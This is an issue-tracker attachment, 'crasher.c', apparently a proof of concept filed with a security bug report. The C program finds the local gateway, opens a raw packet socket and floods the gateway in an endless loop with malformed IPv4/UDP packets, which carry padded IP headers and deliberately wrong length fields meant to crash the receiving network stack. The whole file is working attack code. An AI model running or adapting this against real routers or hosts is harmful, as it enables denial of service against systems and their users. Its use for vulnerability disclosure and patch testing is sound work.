New issue
Advanced search Search tips

Issue 1086 attachment: crasher.c (4.5 KB)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
#define _GNU_SOURCE
#include <stdlib.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <net/if.h>
#include <stdio.h>
#include <net/if_arp.h>
#include <netinet/ip_icmp.h>
#include <err.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#include <unistd.h>
#include <errno.h>
#include <stddef.h>
#include <assert.h>

struct in_addr src_addr;
struct in_addr dst_addr;
char *dst_addr_str;
unsigned int ifindex;
char *interface;
unsigned char target_mac[6];
int packet_socket;

uint16_t ip_checksum(char *buf, int len) {
int count = len;
uint32_t res = 0;
while (count > 1) {
res += *(uint16_t*)buf;
buf += 2;
count -= 2;
}
if (count > 0) res += *(uint8_t*)buf;
while (res >> 16) res = (res & 0xffff) + (res >> 16);
return ~res;
}

void parse_mac(unsigned char *bin_mac, const char *buf) {
if (sscanf(buf, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
bin_mac+0, bin_mac+1, bin_mac+2, bin_mac+3, bin_mac+4, bin_mac+5) != 6)
errx(1, "unable to parse MAC");
}

void ip_hdr_defaults(struct ip *ip_hdr) {
ip_hdr->ip_hl = 5;
ip_hdr->ip_v = 4;
ip_hdr->ip_tos = 0;
ip_hdr->ip_id = 0;
ip_hdr->ip_off = 0;
ip_hdr->ip_ttl = 100;
ip_hdr->ip_sum = 0;
ip_hdr->ip_src = src_addr;
ip_hdr->ip_dst = dst_addr;
}

char *systemf(const char *command, ...) {
char *full_command;
va_list ap;
va_start(ap, command);
if (vasprintf(&full_command, command, ap) == -1)
err(1, "vasprintf");
va_end(ap);
printf("systemf: <<<%s>>>\n", full_command);
FILE *child_stream = popen(full_command, "r");
char *result = NULL;
size_t result_size = 0;
errno = 0;
if (getdelim(&result, &result_size, '\0', child_stream) == -1 && errno != 0)
errx(1, "getdelim reported error");
if (pclose(child_stream))
errx(1, "pclose reported error");
if (result) {
puts(result);
puts("================================");
}
free(full_command);
return result ? result : strdup("");
}

#define round_up(n,b) ( ((n)+((b)-1)) / (b) * (b) )

void send_packet(char *packet, size_t len) {
struct sockaddr_ll dest_addr = {
.sll_family = AF_PACKET,
.sll_protocol = htons(ETH_P_IP),
.sll_ifindex = ifindex,
.sll_hatype = ARPHRD_ETHER,
.sll_pkttype = 0, /* only used for receiving */
.sll_halen = 6
};
memcpy(&dest_addr.sll_addr, target_mac, 6);
if (sendto(packet_socket, packet, len, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != len)
err(1, "unable to send packet");
}
#define SEND_PACKET(packet) send_packet((packet), sizeof(packet))

void send_udp_datashift(int shift_amount, int data_length) {
printf("send_udp_datashift(shift_amount=%d, data_length=%d)\n", shift_amount, data_length);
assert((shift_amount & 3) == 0);
int ip_header_size = sizeof(struct ip) + shift_amount;
assert((ip_header_size >> 2) <= 0xf);
char packet[sizeof(struct ip) + shift_amount + sizeof(struct udphdr) + 1];

struct ip *ip_hdr = (void*)packet;
ip_hdr_defaults(ip_hdr);
ip_hdr->ip_len = htons(sizeof(packet) + data_length); /* deliberately incorrect */
ip_hdr->ip_p = IPPROTO_UDP;
ip_hdr->ip_hl = (ip_header_size>>2);
memset(packet + sizeof(struct ip), '\0', shift_amount);
ip_hdr->ip_sum = ip_checksum((char*)ip_hdr, sizeof(*ip_hdr) + shift_amount);

struct udphdr *uh = (void*)(packet + sizeof(struct ip) + shift_amount);
uh->source = htons(1);
uh->dest = htons(1);
uh->len = 50000; /* bogus; will cause packet drop after move */
uh->check = 0;

packet[sizeof(struct ip) + shift_amount + sizeof(struct udphdr)] = '#';

SEND_PACKET(packet);
}

int main(int argc, char **argv) {
setbuf(stdout, NULL);

// figure out interface, IPs, MAC address
interface = systemf("ip route get 8.8.8.8 | grep ' dev ' | sed 's|.* dev \\([^ ]*\\) .*|\\1|' | tr -d '\\n'");
if (inet_pton(AF_INET, systemf("ip route get 8.8.8.8 | grep ' dev ' | sed 's|.* src \\([^ ]*\\) .*|\\1|' | tr -d '\\n'"), &src_addr) != 1)
err(1, "unable to convert source IP");
dst_addr_str = systemf("ip route get 8.8.8.8 | grep ' dev ' | sed 's|.* via \\([^ ]*\\) .*|\\1|' | tr -d '\\n'");
if (inet_pton(AF_INET, dst_addr_str, &dst_addr) != 1)
err(1, "unable to convert dest IP");
systemf("ping -c3 -w4 %s", dst_addr_str);
parse_mac(target_mac, systemf("ip link show %s | grep link/ether | sed 's|.*link/ether \\([^ ]*\\) .*|\\1|' | tr -d '\n'", interface));
ifindex = if_nametoindex(interface);
if (ifindex == 0)
errx(1, "unable to resolve interface name");

packet_socket = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_IP));
if (packet_socket == -1)
err(1, "socket");

while (1) {
send_udp_datashift(4, 40000);
}

return 0;
}